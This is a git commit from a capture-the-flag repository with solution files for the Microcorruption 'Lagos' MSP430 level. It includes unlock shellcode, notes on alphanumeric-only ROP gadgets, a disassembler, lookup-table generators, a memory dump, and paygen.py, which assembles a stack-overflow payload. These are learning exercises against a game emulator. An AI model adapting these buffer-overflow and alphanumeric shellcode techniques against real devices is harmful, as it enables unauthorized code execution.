Renumber levels to match official indices

This commit is contained in:
Val
2022-12-12 01:01:29 -06:00
parent 7925e24844
commit a9051bf671
34 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,15 @@
.msp430
.text 0x25c0
exploit:
mov #0xff00, sr
call #0010
.text 0x4444
setup:
; sub 0x1e40, sp
add #0x674a, sp
add #0x7a7a, sp
; br &sp
ret

66
17-Lagos/Lagos notes.asm Normal file
View File

@@ -0,0 +1,66 @@
; Goal: execute code from 0x25b6
; stack buffer: 43ed
; mem buffer: 2400
passwordpassword1[retval][pcoffset]0[realfunc][padding]0[bootstrapper]
retval = 0x4430 ; &bootstrapper
pcoffset = 0x2443-0x4430 ; &realfunc - retval
padding = "A"*0x30 + "1" ; alignment
bootstrapper = subc @sp+, pc ; 3071
'passwordpassword1' + 'D0' + '??' + '0' + [realfunc][padding]0[bootstrapper]
bootstrapper:
add @sp+, r15
realfunc:
push #0x7f
call 45fc
3012 7e00 b012 fc45
; Step 1: Create a bootstrapper out of alphanumeric characters, and store it on the stack
; this instruction pops a value off the stack and subtracts it from pc. Perfect for
subc @sp+, pc
b'passwordpassword1'+(b'\x30\x71'*0x1a4)+b'00000000000000'
code snippets:
; pop to register
3n413041 ; nA0A
pop Rn
ret
; popadd to register
add @sp+, rN ; nq0A
ret
32413041 ; 2A0A
pop sr
ret
ROP gadgets:
Pop sr
Move byte relative to R4 into r15
4464 ("Dd"):
mov.b -0x4(r4), r15
sxt r15
add #0x8, sp
pop r4
ret
Pop r4:
446c ("Dl")
pop r4
ret
passwordpassword1DlDd

64
17-Lagos/Lagos.asm Normal file
View File

@@ -0,0 +1,64 @@
login:
; calling convention
455e: 0b12 push r11
; print message
4560: 3150 f0ff add #0xfff0, sp
4564: 3f40 7044 mov #0x4470 "Enter the password to continue.", r15
4568: b012 6046 call #0x4660 <puts>
456c: 3f40 9044 mov #0x4490 "Remember: passwords are between 8 and 16 characters.", r15
4570: b012 6046 call #0x4660 <puts>
4574: 3f40 c544 mov #0x44c5 "Due to some users abusing our login system, we have", r15
4578: b012 6046 call #0x4660 <puts>
457c: 3f40 f944 mov #0x44f9 "restricted passwords to only alphanumeric characters.", r15
4580: b012 6046 call #0x4660 <puts>
; Move 0x200 B from stdin to 0x2400
4584: 3e40 0002 mov #0x200, r14
4588: 3f40 0024 mov #0x2400, r15
458c: b012 5046 call #0x4650 <getsn>
; set up registers
4590: 5f42 0024 mov.b &0x2400, r15
4594: 0e43 clr r14
4596: 7c40 0900 mov.b #0x9, r12
459a: 7d40 1900 mov.b #0x19, r13
; jump into loop
459e: 073c jmp $+0x10 <login+0x50>
; Get a character
45a0: 0b41 mov sp, r11
45a2: 0b5e add r14, r11
45a4: cb4f 0000 mov.b r15, 0x0(r11)
; move the character to
45a8: 5f4e 0024 mov.b 0x2400(r14), r15
45ac: 1e53 inc r14
login_0x50:
45ae: 4b4f mov.b r15, r11
45b0: 7b50 d0ff add.b #0xffd0, r11
45b4: 4c9b cmp.b r11, r12
45b6: f42f jc $-0x16 <login+0x42>
45b8: 7b50 efff add.b #0xffef, r11
45bc: 4d9b cmp.b r11, r13
45be: f02f jc $-0x1e <login+0x42>
45c0: 7b50 e0ff add.b #0xffe0, r11
45c4: 4d9b cmp.b r11, r13
45c6: ec2f jc $-0x26 <login+0x42>
; Delete the byte at the unalignment position
45c8: c143 0000 mov.b #0x0, 0x0(sp)
; Reset the temporary buffer to all 0
45cc: 3d40 0002 mov #0x200, r13
45d0: 0e43 clr r14
45d2: 3f40 0024 mov #0x2400, r15
45d6: b012 8c46 call #0x468c <memset>
45da: 0f41 mov sp, r15
45dc: b012 4644 call #0x4446 <conditional_unlock_door>
45e0: 0f93 tst r15
45e2: 0324 jz $+0x8 <login+0x8c>
45e4: 3f40 2f45 mov #0x452f "Access granted.", r15
45e8: 023c jmp $+0x6 <login+0x90>
45ea: 3f40 3f45 mov #0x453f "That password is not correct.", r15
45ee: b012 6046 call #0x4660 <puts>
45f2: 3150 1000 add #0x10, sp
; calling convention
45f6: 3b41 pop r11
45f8: 3041 ret

249
17-Lagos/disassemble.py Normal file
View File

@@ -0,0 +1,249 @@
# Copied from MSProbe/msprobe.py
PC = 0 #Incremented by each disassembled instruction, incremented in words NOT bytes
asm = [0x7f7f, 0x4242, 0x4343] # fuck you *hardcodes your instructions
output = {}
register_names = ['pc', 'sp', 'sr', 'cg', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15']
def dis_int(i: int, e: str = 'big'):
dis_bytes(i.to_bytes(6,'big'), e)
def dis_bytes(b: bytes, e: str = 'big'):
global PC, asm
asm[0] = int.from_bytes(b[0:2], e)
asm[1] = int.from_bytes(b[2:4], e)
asm[2] = int.from_bytes(b[4:6], e)
PC = 0
return disassemble(asm[PC])
def bitrep(number, bits = 16):
"""Converts to binary form, fixing leading zeroes."""
mask = int('0b' + '1' * bits, 2)
binstr = str(bin(number & mask))[2:]
#negative = binstr[0] == '-'
bitcount = len(binstr)
leading0s = bits - bitcount
return ('0' * leading0s) + binstr
def hexrep(number, zeroes = 4):
"""Converts to hex form, fixing leading zeroes."""
mask = int('0b' + '1' * (zeroes * 4), 2)
hexstr = hex(number & mask)[2:]
hexcount = len(hexstr)
leading0s = zeroes - hexcount
return ('0' * leading0s) + hexstr
def disassemble(instruction):
"""Main disassembly, calls other disassembly functions given a 2-byte instruction."""
#Let's start by getting the binary representation.
#Need to invert bytes because little endian.
ins = bitrep(instruction)
#What kind of instruction are we dealing with?
if ins[0:3] == '001':
return disassemble_jump_instruction(ins)
elif ins[0:6] == '000100':
return disassemble_one_word_instruction(ins)
else:
return disassemble_two_word_instruction(ins)
one_word_opcodes = ['rrc', 'swpb', 'rra', 'sxt', 'push', 'call', 'reti']
def disassemble_one_word_instruction(ins):
"""Given a one-operand (format I) instruction in a 16-bit string, output disassembly."""
global PC #Get PC
bytemode = '.b' if ins[9] == '1' else ''
opcodeID = int(ins[6:9], 2)
opcode = one_word_opcodes[opcodeID]
reg = int(ins[12:], 2)
adrmode = int(ins[10:12], 2)
reg_output, extensionWord = disassemble_addressing_mode(reg, adrmode)
PC += 1 + (1 if extensionWord else 0)
return opcode + bytemode + ' ' + reg_output
jump_opcodes = ['jne', 'jeq', 'jlo', 'jhs', 'jn ', 'jge', 'jl ', 'jmp']
def disassemble_jump_instruction(ins):
"""Given a jump instruction (format II) in a 16-bit string, output disassembly."""
global PC #Get PC
condition = int(ins[3:6], 2) #Get condition code from bits
#Sign extend
offset = ins[6] * 6 + ins[6:]
sign_subtract = 65536 if offset[0] == '1' else 0 #Sign bit
pcOffset = ((int(offset, 2) - sign_subtract) * 2) + 2
#Add a plus if it's not negative for readability
plus = '+' if sign_subtract == 0 else ''
PC += 1
return jump_opcodes[condition] + ' ' + plus + hex(pcOffset)
#Two-operand opcodes start at 4 (0b0100)
two_word_opcodes = ['!!!', '!!!', '!!!', '!!!', 'mov', 'add', 'addc', 'subc', 'sub', 'cmp', 'dadd', 'bit', 'bic', 'bis', 'xor', 'and']
def disassemble_two_word_instruction(ins):
"""Given a two-operand instruction (format III) in a 16-bit string, output disassembly."""
global PC #Get PC
bytemode = '.b' if ins[9] == '1' else ''
opcodeID = int(ins[0:4], 2)
opcode = two_word_opcodes[opcodeID]
srcReg = int(ins[4:8], 2)
srcAdrMode = int(ins[10:12], 2)
reg_output_src, extWordSrc = disassemble_addressing_mode(srcReg, srcAdrMode)
PC += 1 if extWordSrc else 0
dstReg = int(ins[12:], 2)
dstAdrMode = int(ins[8], 2)
reg_output_dst, ext_word_dst = disassemble_addressing_mode(dstReg, dstAdrMode)
PC += 1 if ext_word_dst else 0
PC += 1 #Instruction word
finalins = opcode + bytemode + ' ' + reg_output_src + ', ' + reg_output_dst
#Disassemble pseudo (emulated) instructions
#These are the easy ones to catch
finalins = 'ret' if finalins == 'mov @sp+, pc' else finalins
#Status register twiddling
finalins = 'clrc' if finalins == 'bic #1, sr' else finalins
finalins = 'setc' if finalins == 'bis #1, sr' else finalins
finalins = 'clrz' if finalins == 'bic #2, sr' else finalins
finalins = 'setz' if finalins == 'bis #2, sr' else finalins
finalins = 'clrn' if finalins == 'bic #4, sr' else finalins
finalins = 'setn' if finalins == 'bis #4, sr' else finalins
finalins = 'dint' if finalins == 'bic #8, sr' else finalins
finalins = 'eint' if finalins == 'bic #8, sr' else finalins
#nop = mov dst, dst
finalins = 'nop' if opcode == 'mov' and reg_output_src == reg_output_dst else finalins
#These ones require a small amount of effort because it uses any register.
#All of these are one-operand instructions, so if we need to reassemble
#the instruction, it'll simply follow the one-operand format.
reassembleins = True
uses_dest = True
#Branch. Requires a little bit of extra sanity checking
#because it could get mistaken for ret
if opcode == 'mov' and reg_output_dst == 'pc' and finalins != 'ret': #br = mov src, pc
opcode = 'br'
uses_dest = False #We're actually using src here
#Pop. Could also get mistaken for ret.
elif opcode == 'mov' and reg_output_src == '@sp+' and finalins != 'ret': #pop = mov @sp+, dst
opcode = 'pop'
#Shift and rotate left
elif opcode == 'add' and srcReg == dstReg: #rla = add dst, dst
opcode = 'rla'
elif opcode == 'addc' and srcReg == dstReg: #rlc = addc dst, dst
opcode = 'rlc'
#Common one-operand instructions
elif opcode == 'xor' and reg_output_src == '#0xffff {-1}': #inv = xor 0xffff, dst
opcode = 'inv'
#Extra sanity checking to prevent being mistaken for nop
elif opcode == 'mov' and reg_output_src == '#0' and reg_output_dst != '#0': #clr = mov #0, dst
opcode = 'clr'
elif opcode == 'cmp' and reg_output_src == '#0': #tst = cmp #0, dst
opcode = 'tst'
#Increment and decrement (by one or two)
elif opcode == 'sub' and reg_output_src == '#1': #dec = sub #1, dst
opcode = 'dec'
elif opcode == 'sub' and reg_output_src == '#2': #decd = sub #2, dst
opcode = 'decd'
elif opcode == 'add' and reg_output_src == '#1': #inc = add #1, dst
opcode = 'inc'
elif opcode == 'add' and reg_output_src == '#2': #incd = add #1, dst
opcode = 'incd'
#Add and subtract only the carry bit:
elif opcode == 'addc' and reg_output_src == '#0': #adc = addc #0, dst
opcode = 'adc'
elif opcode == 'dadd' and reg_output_src == '#0': #dadc = dadd #0, dst
opcode = 'dadc'
elif opcode == 'subc' and reg_output_src == '#0': #sbc = subc #0, dst
opcode = 'sbc'
#The instruction is not an emulated instruction
else:
reassembleins = False
if reassembleins:
finalins = opcode + bytemode + ' ' + (reg_output_dst if uses_dest else reg_output_src)
return finalins
adr_modes = ['{register}', '{index}({register})', '@{register}', '@{register}+']
def disassemble_addressing_mode(reg, adrmode):
"""Outputs disassembly of a register's addressing mode and whether an extension
word was used (to update PC accordingly in the calling function),
given the register number and addressing mode number."""
#http://mspgcc.sourceforge.net/manual/x147.html
extensionWord = False
#print(f"{PC = :x}, {asm = }", end="");
#r2 (status register) and r3 (CG) are encoded as constant registers
if reg == 2:
if adrmode == 0: #Normal access
reg_output = adr_modes[adrmode].format(register=register_names[reg])
elif adrmode == 1: #Absolute address using extension word
reg_output = '&' + hex(asm[PC + 1]) #Get next word
extensionWord = True
elif adrmode == 2:
reg_output = '#4'
elif adrmode == 3:
reg_output = '#8'
elif reg == 3:
if adrmode == 0:
reg_output = '#0'
elif adrmode == 1:
reg_output = '#1'
elif adrmode == 2:
reg_output = '#2'
elif adrmode == 3:
#Just a little reminder that all bits set == -1
reg_output = '#0xffff {-1}'
elif adrmode == 0:
reg_output = adr_modes[adrmode].format(register=register_names[reg])
elif adrmode == 1:
reg_output = adr_modes[adrmode].format(register=register_names[reg], index=hex(asm[PC + 1]))
extensionWord = True
elif adrmode == 2:
reg_output = adr_modes[adrmode].format(register=register_names[reg])
elif adrmode == 3 and reg == 0: #PC was incremented for a constant
reg_output = '#' + hex(asm[PC + 1])
extensionWord = True
elif adrmode == 3:
reg_output = adr_modes[adrmode].format(register=register_names[reg])
return (reg_output, extensionWord)

62
17-Lagos/generate_lut.py Normal file
View File

@@ -0,0 +1,62 @@
import string
from string import printable
from math import ceil, floor
valid = 0
valid_chars = (string.digits + string.ascii_uppercase + string.ascii_lowercase).encode()
def u16(i:int):
return i & 0xffff
def half_pair(i: int) -> list:
i = u16(i)
return [floor(i/2), ceil(i/2)]
def neg_half_pair(i: int) -> list:
# 2's c negate i
i = 0x10000 - u16(i)
return half_pair(i)
def not_in_set(set, start: int = 0x0, end: int = 0xff):
for char in range(start, end+1):
if char not in set:
print(F"{char:02x}[{chr(char)}]", end=" ")
def isprintable(char: int):
return f'{chr(char)}' if char > 0x30 and chr(char) in printable else "."
# for solution in sorted(solutions):
# print(f"{solution:02x} '{isprintable(solution)}'= {solutions[solution]}")
def bfs(start, end, characters = valid_chars): #function for BFS
solutions = {}
queue = []
# Populate solutions with trivial solutions, and queue with the same
for character in characters:
solutions[character] = f'{character:x}';
queue.append(character)
# loop until the queue is empty, and every reachable number has been found
while queue:
current = queue.pop(0)
for neighbor in characters:
for operator, operation in [['+', int.__add__], ['-', int.__sub__]]:
new = operation(current, neighbor)
if new in solutions: continue
if new in range(start, end+1):
solutions[new] = f"{solutions[current]} {operator} {neighbor:x}"
queue.append(new)
return solutions
super_valid_chars:bytes = []
for one in valid_chars:
for two in valid_chars:
super_valid_chars.append (int.from_bytes(one.to_bytes(1, 'big') + two.to_bytes(1, 'big'), 'big'))
solutions = bfs(0, 0xffff, super_valid_chars)
for solution in sorted(solutions):
bas = solution.to_bytes(2, 'big')
print(f"{solution:04x} '{isprintable(bas[0])}{isprintable(bas[1])}'= {solutions[solution]}")
exit()

20
17-Lagos/insgen.py Normal file
View File

@@ -0,0 +1,20 @@
import string
import disassemble
from disassemble import disassemble, dis_bytes
# Instruction
def main():
valid_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase
char = [0, 0]
for char[0] in valid_chars:
for char[1] in valid_chars:
word=(char[0]+char[1]).encode('ascii')
print(f"__{word[0]:x}{word[1]:x}_{word.decode('ascii')}AABB: {dis_bytes(word+ b'AABB')}")
# for dis in res:
# print()
# return 0
if __name__ == '__main__':
main()

BIN
17-Lagos/instructions.asm Normal file

Binary file not shown.

65536
17-Lagos/lut.txt Normal file

File diff suppressed because it is too large Load Diff

65536
17-Lagos/lut2.txt Normal file

File diff suppressed because it is too large Load Diff

BIN
17-Lagos/memory_clean.bin Normal file

Binary file not shown.

63
17-Lagos/memory_clean.txt Normal file
View File

@@ -0,0 +1,63 @@
0000: 0000 4400 0000 0000 0000 0000 0000 0000 ..D.............
0010: 3041 0000 0000 0000 0000 0000 0000 0000 0A..............
0020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0030: *
4400: 3140 0044 1542 5c01 75f3 35d0 085a 3f40 1@.D.B\.u.5..Z?@
4410: 0000 0f93 0724 8245 5c01 2f83 9f4f f446 .....$.E\./..O.F
4420: 0024 f923 3f40 0102 0f93 0624 8245 5c01 .$.#?@.....$.E\.
4430: 1f83 cf43 0024 fa23 b012 5e45 32d0 f000 ...C.$.#..^E2...
4440: fd3f 3040 f246 0412 0441 2453 2183 c443 .?0@.F...A$S!..C
4450: fcff 3e40 fcff 0e54 0e12 0f12 3012 7e00 ..>@...T....0.~.
4460: b012 fc45 5f44 fcff 8f11 3152 3441 3041 ...E_D....1R4A0A
4470: 456e 7465 7220 7468 6520 7061 7373 776f Enter the passwo
4480: 7264 2074 6f20 636f 6e74 696e 7565 2e00 rd to continue..
4490: 5265 6d65 6d62 6572 3a20 7061 7373 776f Remember: passwo
44a0: 7264 7320 6172 6520 6265 7477 6565 6e20 rds are between
44b0: 3820 616e 6420 3136 2063 6861 7261 6374 8 and 16 charact
44c0: 6572 732e 0044 7565 2074 6f20 736f 6d65 ers..Due to some
44d0: 2075 7365 7273 2061 6275 7369 6e67 206f users abusing o
44e0: 7572 206c 6f67 696e 2073 7973 7465 6d2c ur login system,
44f0: 2077 6520 6861 7665 0072 6573 7472 6963 we have.restric
4500: 7465 6420 7061 7373 776f 7264 7320 746f ted passwords to
4510: 206f 6e6c 7920 616c 7068 616e 756d 6572 only alphanumer
4520: 6963 2063 6861 7261 6374 6572 732e 0041 ic characters..A
4530: 6363 6573 7320 6772 616e 7465 642e 0054 ccess granted..T
4540: 6861 7420 7061 7373 776f 7264 2069 7320 hat password is
4550: 6e6f 7420 636f 7272 6563 742e 0000 0b12 not correct.....
4560: 3150 f0ff 3f40 7044 b012 6046 3f40 9044 1P..?@pD..`F?@.D
4570: b012 6046 3f40 c544 b012 6046 3f40 f944 ..`F?@.D..`F?@.D
4580: b012 6046 3e40 0002 3f40 0024 b012 5046 ..`F>@..?@.$..PF
4590: 5f42 0024 0e43 7c40 0900 7d40 1900 073c _B.$.C|@..}@...<
45a0: 0b41 0b5e cb4f 0000 5f4e 0024 1e53 4b4f .A.^.O.._N.$.SKO
45b0: 7b50 d0ff 4c9b f42f 7b50 efff 4d9b f02f {P..L../{P..M../
45c0: 7b50 e0ff 4d9b ec2f c143 0000 3d40 0002 {P..M../.C..=@..
45d0: 0e43 3f40 0024 b012 8c46 0f41 b012 4644 .C?@.$...F.A..FD
45e0: 0f93 0324 3f40 2f45 023c 3f40 3f45 b012 ...$?@/E.<?@?E..
45f0: 6046 3150 1000 3b41 3041 3041 1e41 0200 `F1P..;A0A0A.A..
4600: 0212 0f4e 8f10 024f 32d0 0080 b012 1000 ...N...O2.......
4610: 3241 3041 2183 0f12 0312 814f 0400 b012 2A0A!......O....
4620: fc45 1f41 0400 3150 0600 3041 0412 0441 .E.A..1P..0A...A
4630: 2453 2183 3f40 fcff 0f54 0f12 1312 b012 $S!.?@...T......
4640: fc45 5f44 fcff 8f11 3150 0600 3441 3041 .E_D....1P..4A0A
4650: 0e12 0f12 2312 b012 fc45 3150 0600 3041 ....#....E1P..0A
4660: 0b12 0b4f 073c 1b53 8f11 0f12 0312 b012 ...O.<.S........
4670: fc45 2152 6f4b 4f93 f623 3012 0a00 0312 .E!RoKO..#0.....
4680: b012 fc45 2152 0f43 3b41 3041 0b12 0a12 ...E!R.C;A0A....
4690: 0912 0812 0b4f 3d90 0600 082c 043c cb4e .....O=....,.<.N
46a0: 0000 1b53 3d53 0d93 fa23 1e3c 4a4e 0a93 ...S=S...#.<JN..
46b0: 0324 0c4a 8c10 0adc 1fb3 0524 3d53 cf4e .$.J.......$=S.N
46c0: 0000 0b4f 1b53 0c4d 12c3 0c10 084b 094c ...O.S.M.....K.L
46d0: 884a 0000 2853 3953 fb23 0c5c 0c5b 1df3 .J..(S9S.#.\.[..
46e0: 0d99 0224 cc4e 0000 3841 3941 3a41 3b41 ...$.N..8A9A:A;A
46f0: 3041 0013 0000 0000 0000 0000 0000 0000 0A..............
4700: 0000 0000 0000 0000 0000 0000 0000 0000 ................
4710: *
ff80: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ff90: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffa0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffb0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffc0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffd0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
ffe0: 4244 4244 4244 4244 4244 4244 4244 4244 BDBDBDBDBDBDBDBD
fff0: 4244 4244 4244 4244 4244 4244 4244 0044 BDBDBDBDBDBDBD.D

58
17-Lagos/paygen.py Normal file
View File

@@ -0,0 +1,58 @@
#!/usr/bin/env python3
from math import ceil, floor
import string
# Truncation
def u16(i:int):
return i & 0xffff
# Conversion
def stob(s: str):
return s.encode('ascii', "replace")
def btos(b: bytes):
return b.decode('ascii', "replace")
def btoi(b: bytes):
return int.from_bytes(b, 'little')
def itob(i: int):
return u16(i).to_bytes(2, 'little', signed=u16(i) < 0x8000);
'''
.text 0x4444
setup:
add #0x674a, sp ; sub #0x1e6e, sp
add #0x7a7a, sp ; sub #0x1e6e, sp
ret ; j #25c0
'''
setup_loadaddr = b'4444'
setup = b'31504e6731507a7a3041'
'''
.text 0x25c0
unlock:
mov #0xff00, sr
call #0010
'''
unlock_loadaddr = 0x25c0
unlock = b'324000ffb0121000'
# ret -> #25c0
fake_stack = b'c025'
raddr_position = 0xf
setup_position = 0x057
fake_stack_position = 0x1b6 # The loop must continue
exploit_position = 0x1c0
payloadbuffer = b'30' * 15
payloadbuffer = setup_loadaddr*16
payloadbuffer += b'30' * (setup_position - len(payloadbuffer)//2)
payloadbuffer += setup
payloadbuffer += b'30' * (fake_stack_position - len(payloadbuffer)//2)
payloadbuffer += fake_stack
payloadbuffer += b'30' * (exploit_position - len(payloadbuffer)//2)
payloadbuffer += unlock
print(payloadbuffer)
'''
444444444444444444444444444444444444444444444444444444444444444430303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030
'''